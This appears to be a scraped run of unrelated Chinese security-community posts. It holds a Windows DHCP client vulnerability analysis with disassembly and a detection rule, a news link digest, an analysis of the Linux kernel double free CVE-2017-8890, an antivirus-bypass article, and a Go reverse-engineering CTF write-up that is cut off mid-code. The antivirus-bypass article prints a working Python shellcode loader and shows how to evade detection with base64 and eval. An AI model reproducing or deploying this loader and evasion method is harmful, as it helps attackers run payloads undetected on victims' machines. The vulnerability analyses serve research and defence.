6ffcb14a 8365f800 and dword ptr [ebp-8],0
6ffcb14e 832000 and dword ptr [eax],0
6ffcb151 33c0 xor eax,eax
6ffcb153 8945ec mov dword ptr [ebp-14h],eax
6ffcb156 8845ff mov byte ptr [ebp-1],al
6ffcb159 85c9 test ecx,ecx
6ffcb15b 0f8419010000 je dhcpcore!DecodeDomainSearchListData+0x1ae ;内层循环开始
6ffcb161 8b07 mov eax,dword ptr [edi]
6ffcb163 85c0 test eax,eax
6ffcb165 0f840c010000 je dhcpcore!DecodeDomainSearchListData+0x1ab
6ffcb16b 8365e800 and dword ptr [ebp-18h],0
6ffcb16f 8b4dec mov ecx,dword ptr [ebp-14h]
6ffcb172 8b5de4 mov ebx,dword ptr [ebp-1Ch]
6ffcb175 03d9 add ebx,ecx
6ffcb177 895de0 mov dword ptr [ebp-20h],ebx
6ffcb17a 8a1b mov bl,byte ptr [ebx]
6ffcb17c 885dfe mov byte ptr [ebp-2],bl
6ffcb17f 84db test bl,bl
6ffcb181 8b5d0c mov ebx,dword ptr [ebp+0Ch] ; 第一次迭代时跳转.
6ffcb184 0f8492000000 je dhcpcore!DecodeDomainSearchListData+0x150
6ffcb21c 807dff00 cmp byte ptr [ebp-1],0
6ffcb220 7605 jbe dhcpcore!DecodeDomainSearchListData+0x15b
6ffcb222 8b4510 mov eax,dword ptr [ebp+10h]
..........
6ffcb267 8b45ec mov eax,dword ptr [ebp-14h]
6ffcb26a 8b55f4 mov edx,dword ptr [ebp-0Ch]
6ffcb26d 3bc1 cmp eax,ecx ; 跳转到第一次迭代的内层循环的开始位置
6ffcb26f 0f82ecfeffff jb dhcpcore!DecodeDomainSearchListData+0x95
; 继续第二次迭代
6ffcb275 eb03 jmp dhcpcore!DecodeDomainSearchListData+0x1ae
6ffcb277 8b45ec mov eax,dword ptr [ebp-14h]
6ffcb27a 8b55f4 mov edx,dword ptr [ebp-0Ch]
6ffcb27d 3bc1 cmp eax,ecx
6ffcb27f 7405 je dhcpcore!DecodeDomainSearchListData+0x1ba
6ffcb281 832700 and dword ptr [edi],0
6ffcb284 eb0c jmp dhcpcore!DecodeDomainSearchListData+0x1c6
6ffcb286 83fa02 cmp edx,2
6ffcb289 750a jne dhcpcore!DecodeDomainSearchListData+0x1c9
6ffcb28b 8b03 mov eax,dword ptr [ebx] ;发生越界写，程序可能不会在这里崩溃，因为单个字节被写入esi-1，这可能是一个有效的地址。
6ffcb28d c64430ff00 mov byte ptr [eax+esi-1],0
6ffcb18a 8a55fe mov dl,byte ptr [ebp-2]
6ffcb18d 80fac0 cmp dl,0C0h
; dhcpcore!ClearDomainSearchOption:
6ffcb025 8bff mov edi,edi
6ffcb027 55 push ebp
6ffcb028 8bec mov ebp,esp
6ffcb02a 51 push ecx
6ffcb02b 56 push esi
6ffcb02c 8bf1 mov esi,ecx
6ffcb02e 57 push edi
6ffcb02f 33ff xor edi,edi ;来自上述HeapAlloc的无效地址（esi）
6ffcb031 8b8624070000 mov eax,dword ptr [esi+724h]
6ffcb037 85c0 test eax,eax
6ffcb039 7414 je dhcpcore!ClearDomainSearchOption+0x2a
6ffcb03b 50 push eax
6ffcb03c 57 push edi
6ffcb03d ff35580dff6f push dword ptr [dhcpcore!DhcpGlobalHeap] ;在无效堆上释放导致svchost.exe进程崩溃
6ffcb043 ff155c21ff6f call dword ptr [dhcpcore!_imp__HeapFree]
6ffcb049 89be24070000 mov dword ptr [esi+724h],edi
### 攻击场景分析
攻击者可以构造一个恶意的DHCP服务器，充分发挥该漏洞的作用需要进入到某一个网段内，然后监听网段内的DHCP请求，接收到请求之后就响应一个特制的恶意的DHCP响应数据，这样就可以造成存在漏洞的系统执行代码。
### 流量分析
首先client发起一个request：
然后，攻击者构建的恶意DHCP服务器响应一个恶意的ACK消息：
在响应包中可以明显看到触发漏洞的恶意数据。
## 检测思路
首先要监听UDP的67/68端口的流量。检测设备可以根据DHCP Magic Cookie值x63x82x53x63来判断是否为DHCP消息。
如果操作码为2，则检测设备必须解析每个DHCP选项，并检查option
tag设置为0x77的所有选项的选项数据。如果发现任何此类选项的选项数据以“x00x00”开头，则应将流量视为可疑的攻击流量。
## 总结
这个分析思路很清楚，基本上是一个漏洞响应的微缩过程，到最后给出解决方案，个人感觉比较成熟。最后的流量检测现在很多的防火墙都可以实现，从流量侧拦截攻击好过主机防御。
## 参考文献
[1] RFC 2131, Dynamic Host Configuration Protocol
<https://tools.ietf.org/html/rfc2131>
[2] P. Mockapetris, RFC 1035: DOMAIN NAMES – IMPLEMENTATION AND SPECIFICATION,
<https://tools.ietf.org/html/rfc1035>
[3] IANA, Dynamic Host Configuration Protocol (DHCP)and Bootstrap Protocol
(BOOTP) Parameters, <https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml> | 社区文章 |
# 5月19日安全热点 - 以太坊智能合约安全 Dasp Top10
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
Dell SupportAssist 驱动本地提权漏洞
<http://t.cn/R3jMdHe>
CVE-2018-1000136：Electron nodeIntegration绕过漏洞
<http://t.cn/R3YIXLV>
CVE-2018-8120的分析与利用
<http://t.cn/R3YIX2H>
DrayTek路由器紧急安全更新通知
<http://t.cn/R3TAkqZ>
## 恶意软件 Malware
第一个能在设备重启后继续存活的僵尸网络
<http://t.cn/R3YIXbJ>
黑客利用Satori僵尸网络对网上暴露的以太坊采矿池进行大规模扫描
<http://t.cn/R3TAkUf>
Redis采矿蠕虫的剖析
<http://t.cn/zYpJtHL>
激活工具带毒感染量近60万 北京等四城市用户不被攻击
<http://t.cn/R3YIXGK>
## 安全报告 Security Report
2018年第一季度网络安全威胁态势分析与工作综述
<http://t.cn/R3YIXAg>
MEWKit关于近期亚马逊BGP劫持和钓鱼攻击的详细报告
<http://t.cn/R3TAkLR>
## 安全事件 Security Incident
LocationSmart网站无需身份验证可获得几百英尺内美国任何手机的实时位置
<http://t.cn/R3Wpsyd>
## 安全资讯 Security Information
2018先知白帽大会 | 参会指南
<http://t.cn/R3YVYw1>
美国国土安全部发布的《网络安全战略》有哪些看点？
<http://t.cn/R3TAk5i>
浏览器攻击利用的相关资料
<http://t.cn/R3yNIJn>
以太坊智能合约安全入门了解一下（上）
<http://t.cn/R30cVci>
以太坊智能合约安全 Dasp Top10
<http://t.cn/RmrsFzZ>
## 安全研究 Security Research
一个WIN32K空指针引用问题的分析
<http://t.cn/R3a5tiR>
Didier Stevens 关于恶意PDF的分析
<http://t.cn/R3jMdRF>
iOS 11.3.1 Jailbreak
<http://t.cn/R3jMd8g>
Drupalgeddon客户端攻击调查
<http://t.cn/R3TAkI6>
通过URL文件进行DLL劫持
<http://t.cn/R3TAkMP>
SpEL注入漏洞系列：Part II（CVE-2018-1260）
<http://t.cn/R3Wpsha>
另一种远程Rowhammer攻击的可能性研究
<http://t.cn/R3jMd8z>
GraphQL – 安全概述和测试技巧
<http://t.cn/R3YIX4C> | 社区文章 |
作者: **启明星辰ADLab**
#### 1\. About“Phoenix Talon”
2017年5月9日，启明星辰ADLab发现 Linux 内核存在远程漏洞 “Phoenix Talon”（取凤凰爪四趾之意），涉及
CVE-2017-8890、CVE-2017-9075、CVE-2017-9076、CVE-2017-9077，可影响几乎所有 Linux kernel
2.5.69 ~Linux kernel 4.11 的内核版本、对应的发行版本以及相关国产系统。可导致远程 DOS，且在符合一定利用条件下可导致
RCE，包括传输层的 TCP、DCCP、SCTP 以及网络层的 IPv4 和 IPv6 协议均受影响。实际上该漏洞在 Linux 4.11-rc8
版本中已经被启明星辰ADLab发现，且后来的 Linux 4.11 stable 版同样存在此问题。经研究这些漏洞在 Linux
内核中至少已经潜伏了11年之久，影响极为深远。
启明星辰ADLab已第一时间将 “Phoenix Talon” 漏洞反馈给了 Linux 内核社区，漏洞上报后 Linux 社区在 Linux
4.12-rc1 中合并了修复该问题的补丁。
这些漏洞中以 CVE-2017-8890 最为严重（达到 Linux 内核漏洞两个评分标准的历史最高分，CVSS V2 评分达到满分 10.0，CVSS
V3 评分是历史最高分9.8，NVD 上搜索历史上涉及 Linux 内核漏洞这样评分的漏洞不超过 20 个），以下分析以该漏洞为例，引用官方描述如下：
“The inet_csk_clone_lock function in net/ipv4/inet_connection_sock.c in the
Linux kernel through 4.10.15 allows attackers to cause a denial of service
(double free) or possibly have unspecified other impact by leveraging use of
the accept system call.”
#### 2\. The Vulnerability
CVE-2017-8890 本身是一个 double free 的问题，使用 `setsockopt()` 函数中
`MCAST\_JOIN\_GROUP`选项，并调用 `accept()` 函数即可触发该漏洞。
接着先看看几个组播相关的数据结构：
include/uapi/linux/in.h
struct ip_mreq {
struct in_addr imr_multiaddr; /* IP multicast address of group */
struct in_addr imr_interface; /* local IP address of interface */
};
该结构体的两个成员分别用于指定所加入的多播组的组IP地址和所要加入组的本地接口IP地址。 `ip_setsockopt()` 实现了该功能，它通过调用
`ip_mc_join_group()` 把 socket 加入到多播组。
include/net/inet_sock.h
struct inet_sock {
/* sk and pinet6 has to be the first two members of inet_sock */
struct sock sk;
#if IS_ENABLED(CONFIG_IPV6)
struct ipv6_pinfo *pinet6;
#endif
/* Socket demultiplex comparisons on incoming packets. */
#define inet_daddr sk.__sk_common.skc_daddr
#define inet_rcv_saddr sk.__sk_common.skc_rcv_saddr
#define inet_dport sk.__sk_common.skc_dport
#define inet_num sk.__sk_common.skc_num
[...]
__u8 tos;
__u8 min_ttl;
__u8 mc_ttl;
__u8 pmtudisc;
__u8 recverr:1,
is_icsk:1,
freebind:1,
hdrincl:1,
mc_loop:1,
[...]
int uc_index;
int mc_index;
__be32 mc_addr;
struct ip_mc_socklist __rcu *mc_list;
struct inet_cork_full cork;
};
其中 `sk.__sk_common.skc_rcv_saddr`
对于组播而言，只接收该地址发来的组播数据，对于单播而言，只从该地址所代表的网卡接收数据；`mc_ttl` 为组播的 `ttl` ；`mc_loop`
表示组播是否发向回路；`mc_index` 表示组播使用的本地设备接口的索引；`mc_addr` 表示组播源地址；`mc_list` 为组播列表。
include/linux/igmp.h
/* ip_mc_socklist is real list now. Speed is not argument;
this list never used in fast path code
*/
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};
`next_rcu` 指向链表的下一个节点；`multi` 表示组信息，即在哪一个本地接口上，加入到哪一个多播组；`sfmode` 是过滤模式，取值为
`MCAST_INCLUDE` 或 `MCAST_EXCLUDE` ，分别表示只接收 `sflist` 所列出的那些源的多播数据报和不接收 `sflist`
所列出的那些源的多播数据报；`sflist` 是源列表。
下面分别从该漏洞内存分配的关键代码及二次释放的关键代码进行分析。
* The Allocate
内存分配调用链：
1.用户态
setsockopt() ->
…
2.内核态:
-> entry_SYSCALL_64_fastpath() -> SyS_setsockopt() -> SYSC_setsockopt() -> sock_common_setsockopt() -> tcp_setsockopt() -> ip_setsockopt() -> do_ip_setsockopt() -> do_ip_setsockopt() -> ip_mc_join_group() -> sock_kmalloc() -> [...]
使用 `setsockopt()` 函数中的 `MCAST_JOIN_GROUP` 选项。
**net/socket.c**
1777 SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
1778 char __user *, optval, int, optlen)
1779 {
1780 int err, fput_needed;
1781 struct socket *sock;
1782
1783 if (optlen < 0)
1784 return -EINVAL;
1785
1786 sock = sockfd_lookup_light(fd, &err, &fput_needed);
1787 if (sock != NULL) {
1788 err = security_socket_setsockopt(sock, level, optname);
1789 if (err)
1790 goto out_put;
1791
1792 if (level == SOL_SOCKET)
1793 err =
1794 sock_setsockopt(sock, level, optname, optval,
1795 optlen);
1796 else
1797 err =
1798 sock->ops->setsockopt(sock, level, optname, optval,
1799 optlen);
1800 out_put:
1801 fput_light(sock->file, fput_needed);
1802 }
1803 return err;
1804 }
进入内核调用 `SyS_setsockopt()` 函数，level 设置的不为 SOL_SOCKET 即可，一般设置为 SOL_IP ，在1798
行处被调用。紧接着调用 `sock_common_setsockopt()` 函数。
**net/ipv4/ip_sockglue.c**
1256 int ip_setsockopt(struct sock *sk, int level,
1257 int optname, char __user *optval, unsigned int optlen)
1258 {
1259 int err;
1260
1261 if (level != SOL_IP)
1262 return -ENOPROTOOPT;
1263
1264 err = do_ip_setsockopt(sk, level, optname, optval, optlen);
1265 #ifdef CONFIG_NETFILTER
1266 /* we need to exclude all possible ENOPROTOOPTs except default case */
1267 if (err == -ENOPROTOOPT && optname != IP_HDRINCL &&
1268 optname != IP_IPSEC_POLICY &&
1269 optname != IP_XFRM_POLICY &&
1270 !ip_mroute_opt(optname)) {
1271 lock_sock(sk);
1272 err = nf_setsockopt(sk, PF_INET, optname, optval, optlen);
1273 release_sock(sk);
1274 }
1275 #endif
1276 return err;
1277 }
然后进入 `ip_setsockopt()` 函数，调用 `do_ip_setsockopt()` 函数（1264行代码）。
**net/ipv4/ip_sockglue.c**
599 static int do_ip_setsockopt(struct sock *sk, int level,
600 int optname, char __user *optval, unsigned int optlen)
601 {
602 struct inet_sock *inet = inet_sk(sk);
603 struct net *net = sock_net(sk);
604 int val = 0, err;
605 bool needs_rtnl = setsockopt_needs_rtnl(optname);
606
607 switch (optname) {
[...]
1009 case MCAST_JOIN_GROUP:
1011 {
1012 struct group_req greq;
1013 struct sockaddr_in *psin;
1014 struct ip_mreqn mreq;
1015
1016 if (optlen < sizeof(struct group_req))
1017 goto e_inval;
1018 err = -EFAULT;
1019 if (copy_from_user(&greq, optval, sizeof(greq)))
1020 break;
1021 psin = (struct sockaddr_in *)&greq.gr_group;
1022 if (psin->sin_family != AF_INET)
1023 goto e_inval;
1024 memset(&mreq, 0, sizeof(mreq));
1025 mreq.imr_multiaddr = psin->sin_addr;
1026 mreq.imr_ifindex = greq.gr_interface;
1027
1028 if (optname == MCAST_JOIN_GROUP)
1029 err = ip_mc_join_group(sk, &mreq);
1030 else
1031 err = ip_mc_leave_group(sk, &mreq);
1032 break;
1033 }
[...]
代码 1019～1021 行调用 `copy_from_user()` 将用户态的数据拷贝到内核态。之前已经将 option 设置为
`MCAST_JOIN_GROUP`，紧接着调用 `ip_mc_join_group()` 函数：
**net/ipv4/igmp.c**
2094 int ip_mc_join_group(struct sock *sk, struct ip_mreqn *imr)
2095 {
2096 __be32 addr = imr->imr_multiaddr.s_addr;
2097 struct ip_mc_socklist *iml, *i;
2098 struct in_device *in_dev;
2099 struct inet_sock *inet = inet_sk(sk);
2100 struct net *net = sock_net(sk);
2101 int ifindex;
2102 int count = 0;
2103 int err;
2104
2105 ASSERT_RTNL();
2106
2107 if (!ipv4_is_multicast(addr))
2108 return -EINVAL;
2109
2110 in_dev = ip_mc_find_dev(net, imr);
2111
2112 if (!in_dev) {
2113 err = -ENODEV;
2114 goto done;
2115 }
2116
2117 err = -EADDRINUSE;
2118 ifindex = imr->imr_ifindex;
2119 for_each_pmc_rtnl(inet, i) {
2120 if (i->multi.imr_multiaddr.s_addr == addr &&
2121 i->multi.imr_ifindex == ifindex)
2122 goto done;
2123 count++;
2124 }
2125 err = -ENOBUFS;
2126 if (count >= net->ipv4.sysctl_igmp_max_memberships)
2127 goto done;
2128 iml = sock_kmalloc(sk, sizeof(*iml), GFP_KERNEL);
2129 if (!iml)
2130 goto done;
2131
2132 memcpy(&iml->multi, imr, sizeof(*imr));
2133 iml->next_rcu = inet->mc_list;
2134 iml->sflist = NULL;
2135 iml->sfmode = MCAST_EXCLUDE;
2136 rcu_assign_pointer(inet->mc_list, iml);
2137 ip_mc_inc_group(in_dev, addr);
2138 err = 0;
2139 done:
2140 return err;
2141 }
代码2128行 `sock_kmalloc()` 进行了内存分配。
* The first free
在内核里无时无刻都在产生软中断，而此次漏洞涉及的软中断是由 `accept()` 系统调用引起的，由于该函数本身作用于进程上下文，并不会产生软中断。但是调用
`accept()` 时，会在内核中诱发某种软中断产生，该软中断会调用 `rcu_process_callbacks()` 函数：
**kernel/rcu/tree.c**
3118 static __latent_entropy void rcu_process_callbacks(struct softirq_action *unused)
3119 {
3120 struct rcu_state *rsp;
3121
3122 if (cpu_is_offline(smp_processor_id()))
3123 return;
3124 trace_rcu_utilization(TPS("Start RCU core"));
3125 for_each_rcu_flavor(rsp)
3126 __rcu_process_callbacks(rsp);
3127 trace_rcu_utilization(TPS("End RCU core"));
3128 }
`__rcu_process_callbacks` 调用 `rcu_do_batch()` 函数，如下：
**kernel/rcu/tree.c**
2840 static void rcu_do_batch(struct rcu_state *rsp, struct rcu_data *rdp)
2841 {
2842 unsigned long flags;
2843 struct rcu_head *next, *list, **tail;
2844 long bl, count, count_lazy;
2845 int i;
2846
2847 /* If no callbacks are ready, just return. */
2848 if (!cpu_has_callbacks_ready_to_invoke(rdp)) {
2849 trace_rcu_batch_start(rsp->name, rdp->qlen_lazy, rdp->qlen, 0);
2850 trace_rcu_batch_end(rsp->name, 0, !!READ_ONCE(rdp->nxtlist),
2851 need_resched(), is_idle_task(current),
2852 rcu_is_callbacks_kthread());
2853 return;
2854 }
[...]
2874 count = count_lazy = 0;
2875 while (list) {
2876 next = list->next;
2877 prefetch(next);
2878 debug_rcu_head_unqueue(list);
2879 if (__rcu_reclaim(rsp->name, list))
2880 count_lazy++;
2881 list = next;
2882 /* Stop only if limit reached and CPU has something to do. */
2883 if (++count >= bl &&
2884 (need_resched() ||
2885 (!is_idle_task(current) && !rcu_is_callbacks_kthread())))
2886 break;
2887 }
[...]
注意代码中第2879行，函数 `__rcu_reclaim()` 实现如下：
**kernel/rcu/rcu.h**
106 static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)
107 {
108 unsigned long offset = (unsigned long)head->func;
109
110 rcu_lock_acquire(&rcu_callback_map);
111 if (__is_kfree_rcu_offset(offset)) {
112 RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));
113 kfree((void *)head - offset);
114 rcu_lock_release(&rcu_callback_map);
115 return true;
116 } else {
117 RCU_TRACE(trace_rcu_invoke_callback(rn, head));
118 head->func(head);
119 rcu_lock_release(&rcu_callback_map);
120 return false;
121 }
122 }
在113行调用 `kfree()` 进行了第一次释放。
* The second free
当断开 TCP 连接时，内核通过 `sock\_close()` 函数直接调用 `sock\_release()` 来实现断开功能，该函数会清空
ops，更新全局 socket 数目，更新 inode 引用计数。随后进入到 `inet\_release()` 函数调用 `tcp\_close()`
函数来最终关闭 sock。
**net/ipv4/af_inet.c**
403 int inet_release(struct socket *sock)
404 {
405 struct sock *sk = sock->sk;
406
407 if (sk) {
408 long timeout;
409
410 /* Applications forget to leave groups before exiting */
411 ip_mc_drop_socket(sk);
412
413 /* If linger is set, we don't return until the close
414 * is complete. Otherwise we return immediately. The
415 * actually closing is done the same either way.
416 *
417 * If the close is due to the process exiting, we never
418 * linger..
419 */
420 timeout = 0;
421 if (sock_flag(sk, SOCK_LINGER) &&
422 !(current->flags & PF_EXITING))
423 timeout = sk->sk_lingertime;
424 sock->sk = NULL;
425 sk->sk_prot->close(sk, timeout);
426 }
427 return 0;
428 }
用户程序断开 TCP 连接时，内核里使用 `ip\_mc\_drop\_socket()` 函数进行回收。
**net/ipv4/igmp.c**
2592 void ip_mc_drop_socket(struct sock *sk)
2593 {
2594 struct inet_sock *inet = inet_sk(sk);
2595 struct ip_mc_socklist *iml;
2596 struct net *net = sock_net(sk);
2597
2598 if (!inet->mc_list)
2599 return;
2600
2601 rtnl_lock();
2602 while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {
2603 struct in_device *in_dev;
2604
2605 inet->mc_list = iml->next_rcu;
2606 in_dev = inetdev_by_index(net, iml->multi.imr_ifindex);
2607 (void) ip_mc_leave_src(sk, iml, in_dev);
2608 if (in_dev)
2609 ip_mc_dec_group(in_dev, iml->multi.imr_multiaddr.s_addr);
2610 /* decrease mem now to avoid the memleak warning */
2611 atomic_sub(sizeof(*iml), &sk->sk_omem_alloc);
2612 kfree_rcu(iml, rcu);
2613 }
2614 rtnl_unlock();
2615 }
代码2612行调用 `kfree_rcu()` 进行第二次释放。
#### 3.Affected
* 受影响的内核版本
经研究，理论上 Linux kernel 2.5.69 ~ Linux kernel 4.11 的所有版本都受 “Phoenix Talon”
影响，且经开源社区验证 “Phoenix Talon” 漏洞影响的 Linux 内核版本部分列表如下：
经启明星辰ADLab测试 Linux kernel 4.11 亦受影响。
* 受影响的发行版本
经开源社区验证部分受影响发行版本（不完整列表）如下：
Red Hat Enterprise MRG 2 Red Hat Enterprise Linux 7 Red Hat Enterprise Linux 6
Red Hat Enterprise Linux 5 SUSE Linux Enterprise Desktop 12 SP1 SUSE Linux
Enterprise Desktop 12 SP2 SUSE Linux Enterprise Server 11 SP3 LTSS SUSE Linux
Enterprise Server 11 SP4 SUSE Linux Enterprise Server 12 GA SUSE Linux
Enterprise Server 12 SP1 SUSE Linux Enterprise Server 12 SP2 SUSE Linux
Enterprise Server for SAP 11 SP3 SUSE Linux Enterprise Server for SAP 11 SP4
SUSE Linux Enterprise Server for SAP 12 GA SUSE Linux Enterprise Server for
SAP 12 SP1 SUSE Linux Enterprise Server for SAP 12 SP2
另外，启明星辰ADLab对下列的部分发行版本做了测试，确认均受 “Phoenix Talon” 漏洞影响：
Ubuntu 14.04 LTS (Trusty Tahr) Ubuntu 16.04 LTS (Xenial Xerus) Ubuntu 16.10
(Yakkety Yak) Ubuntu 17.04 (Zesty Zapus) Ubuntu 17.10 (Artful Aardvark)
#### 4\. Solution
1. 官方已经发布了修复该问题的补丁，可通过升级Linux内核修复“Phoenix Talon”相关漏洞。
2. 使用 Grsecurity/PaX 对内核加固。
#### 5\. Timeline
May 09 - Report sent to Linux Kernel Community May 09 - Linux Kernel Community
confirmed May 09 - Linux Kernel Community patched in linux upstream May 10 -Assgined CVE number
“Phoenix Talon”在 Linux 内核中潜伏长达11年之久，影响范围非常广泛（以上只是官方以及我们测试的部分结果，即使这些也足够看出
“Phoenix Talon” 波及之深之广），启明星辰ADLab提醒广大用户尽快采取相应的修复措施，避免引发漏洞相关的网络安全事件。
**Reference:**
[1] https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-8890.html
[2] https://security-tracker.debian.org/tracker/CVE-2017-8890
[3] https://www.suse.com/security/cve/CVE-2017-8890/
[4] https://bugzilla.redhat.com/show_bug.cgi?id=1450973
[5] https://bugzilla.suse.com/show_bug.cgi?id=1038544
[6] https://www.mail-archive.com/[email protected]/msg167626.html
[7] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8890
[8] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9075
[9] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9076
[10] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9077
[11]
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=657831ffc38e30092a2d5f03d385d710eb88b09a
[12] http://www.securityfocus.com/bid/98562/info
[13] http://www.openwall.com/lists/oss-security/2017/05/30/24
[14] https://www.kernel.org
[15] Linux Kernel Documentation
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# bypass AV 探索一
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Bypass
AV一直都是安全安全圈的热门话题，之前多少也有过接触，由于用不到，就没怎么关注。这次刚好趁假期，来研究研究。（由于很多名词网上解释很多，本文只作记录，故不多加解释）
## Base编写
关于Bypass AV常听说几个名词：分离免杀、源码免杀。所谓分离免杀，就是shellcode和加载器分开。源码免杀是从源代码层面免杀。
分离的话，直接把shellcode当作参数带入即可。我个人更擅长python一些，所以就利用python语言来Bypass。
从网上找到一个最基础的loader
loader_3.py
# coding: utf-8
import ctypes
import sys
#（kali生成payload存放位置）
shellcode = bytearray(bytes.fromhex(sys.argv[1]))
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
对copy的代码稍作更改，改为从参数获取shellcode，经测试功能可行，不过直接被AV拦截。
## Bypass 探索
基础版本测试可用，下面就针对源码进行免杀探索。
我这里采用了一种比较笨的办法，一行一行测试，找出特征码：
只保留第一行，其他行注释掉，然后打包
`pyinstaller loader_3.py -F`
打包后扫描，正常
直到测试到第四行，开始报毒
注释掉这行，其他全部放开，打包后正常，不再报毒。那么接下来就需要对第四行代码尽心进一步免杀了。
常用的办法是对这块代码进行base64加密，然后再解密，通过eval函数来执行：
string = b"base64密文"
eval(str(base64.b64decode(string),'utf-8'))
最终，第四行改为这样
## 上线
基本够用。
## 参考
<https://cloud.tencent.com/developer/article/1621172> | 社区文章 |
# 2021 天翼杯 bbgo Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
* 关键算法: 位运算
* 出处: 2021 天翼杯
* 工具: IDAPython
* 考点: Golang 恢复符号, 文件解密
* 解题技巧: 爆破
# 分析
## 恢复符号
* 这题恶心在 IDA 7.6 没法恢复符号，估计是出题人魔改了 Golang 编译器的源码或是 patch 了文件
* （我更倾向于魔改了源码，因为 Golang 初始化 runtime 的时候会对自身的 moduledata 等进行校验，patch 不太容易做到）
* 所以只能根据 Golang 恢复符号的原理手动进行恢复了，推荐这篇 [Blog](https://www.anquanke.com/post/id/214940)
* 还原本题符号的脚本如下
import idc
import ida_bytes
functable_addr = 0x4EFA20
funcstruct_addr = 0x4F4BE8
funcname_addr = 0x4BC920
ea = functable_addr
while ea < funcstruct_addr:
f_addr = idc.get_qword(ea)
fs_addr = idc.get_qword(ea+8)+functable_addr
print(hex(f_addr), hex(fs_addr))
name_addr = idc.get_wide_dword(fs_addr+8)+funcname_addr
idc.create_strlit(name_addr, idc.BADADDR)
size = ida_bytes.get_max_strlit_length(name_addr, idc.AF_ASCII)
name = idc.get_bytes(name_addr, size).decode()
idc.set_name(f_addr, name, idc.SN_NOCHECK)
ea += 16
* 然后发现绝大多数函数都能恢复了，但是 `main` 函数还是恢复不了，不过交叉引用一下 `os_ReadFile()` 就能定位到了
## 梳理主要逻辑
* 上来就是一个 `if` 判断，大胆猜测这是在比较 `argc` ，所以这题逻辑就是通过 `argv[]` 给出待加密的文件和加密文件名
* 这时候使用 findcrypt 搜一下，`main` 函数里面识别出了一个 `CRC_table` ，推测是上来对要加密的文件生成了一个校验和
* 之后这里就要进行大量的动调了，基本就是在每次调用函数之前下个断点，函数返回之后下一个断点，用于确定函数调用的传参和返回值（参数一般通过各种寄存器传递，返回值一般就是在 `rax, rcx` 这些寄存器里面
* 这么做是因为 Golang 的调用约定实在是混乱，只靠 IDA 的静态分析根本没法正确识别参数和返回值
* 通过动调，可以判断出 `sha1.Write()` 传入的参数是栈里面的常量和 CRC 拼接起来的 bytes，然后运行 `sha1.Sum()` 对其进行 Hash
* 接着动调。（注意这里无需在每个函数处都下断点，因为那些 `runtime` 开头的函数都是 Golang 底层的一些函数，不太重要，后面需要重点关注的两个函数就是 `sub_4830E0` 和 `sub_483580` ）
* 动调到 `sub_4830E0` 发现传入了刚刚 Hash 操作产生的 0x14 个 bytes，调用后在 `r8` 寄存器里可以发现新生成了 0xb0 个 bytes，感觉这地方是个密钥生成的函数，重命名为 `genKey()`
* 接着动调 `sub_483580` ，发现这里头就是传入了 16 bytes 的明文和上面新生成的 bytes，因此感觉这就是加密函数了，重命名为 `enc()`
## 分析 genKey 函数
* 函数乍一看非常复杂，所以一定要动调，静态调试谁也看不懂
* 这部分感觉是值拷贝的过程，动调可以确定是把传入的 `digest` 数组 copy 了一份
* 然后调用 `runtime.makeslice` 初始化了一个数组
* 这里又是一个循环赋值操作，对比左值右值，推测应该是进行了 `v47[n] = v47[n-1] + const` 这样的操作，`v47` 就是刚刚初始化的数组，所以感觉它可能就是 `keys`
* 这部分就是主要的密钥生成逻辑了，不好意思，只能硬看了
* 得到密钥生成的算法如下（包括 `hash` 部分）
func genKey(guess1, guess2 byte) []uint32 {
var length, i, a, b, c, d, lll, index uint32
sha := sha1.New()
seed := []byte{0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, guess1, guess2}
sha.Write(seed)
rawDigest := sha.Sum(make([]byte, 0))
length = uint32(len(rawDigest))
digest := make([]uint32, 0x14)
for i = 0; i < uint32(len(rawDigest)/4); i++ {
digest[i] = binary.LittleEndian.Uint32(rawDigest[4*i : 4*(i+1)])
}
keysLen := 2*length + 4
keys := make([]uint32, keysLen)
keys[0] = 0x0BE38A40C
